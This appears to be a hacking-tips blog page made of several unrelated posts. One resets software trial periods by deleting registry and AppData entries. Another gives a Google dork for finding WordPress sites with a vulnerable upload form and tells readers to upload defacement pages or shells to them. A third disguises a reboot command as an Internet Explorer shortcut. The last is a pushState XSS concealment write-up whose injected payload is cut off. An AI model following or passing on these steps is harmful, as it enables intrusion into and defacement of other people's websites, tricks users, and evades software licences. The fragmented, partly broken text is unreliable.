How to bypass trial period of software's !!

1.Uninstall the application
2. Go to Start Type "Regedit".
3.Go to HK Local Machine > Software > Your Software name. Delete the Key.
Do this for HK Current user if there exists a key of that software.

4.now you have to go to run type %temp% and delete all the files which exists,They are just some temporary files,It wont matter much.

5.Go to Users > Username > Appdata and then Check all 3 directories that is "Local", "LocalLow", "Roaming" for your software entry. Delete that.

Now all you have to do is re-install the program and enjoy the evaluation period again!

Note: It works for most of the  party software only . 

 

 

WordPress Easy Comment Upload Vunerablity :

 Google Dork :
"inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php" 

Open Google and enter the  dork  Given, 
Now select any website 

and goto this url site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

You'll Got Upload Option here :)

Now Upload Your Deface page ....

and check it here site.com/wp-content/uploads/2011/10/yourfilename.

Note: Different website support different option to upload like txt,jpg, jpeg .
            you can also upload your shell in some website .. :-)   

Shut Down system by double Clicking on Internet Explorer !!!

Double click on Internet explorer to Restart the Computer:

1) Goto Desktop
2) Right click > new > Shortcut
3) In “Type the Location of the item” > write: “C:\WINDOWS\system32\shutdown.exe -r -t 00″ without coutes.
4) Click next and in “Type a name for this shortcut” write ” Internet Explorer” and click Finish.
5) Now Right Click on the shortcut of Internet Explorer and goto “Change Icon” and select the icon of Internet Explorer.

6) Now Virus is Ready….. check it out.. when you will double click on Internet Explorer Shortcut… Computer will Restart.

7) This is just  a Prank… don’t Misuse it..

How to make a folder with name “con” ?

"CON" is the system keyword and you can't create it using normal method. Just try cmd .

Folder with Name "con"

Goto command Prompt,

Goto the location where you want to make the folder with name “con”.

write the command: mkdir \\.\e:\con

To remove the folder again: rmdir \\.\e:\con

Conceal XSS Injection in HTML5

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself

The Harmful Part : -

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

so, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept : -

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter:

Code:

?username=”>


As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.


Conclusion : -

Can this be considered as a security flaw?

Definitely yes.

How it should be fixed? –

There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this.

And you’re right – this wouldn’t fix anything since it could be set to true in injection.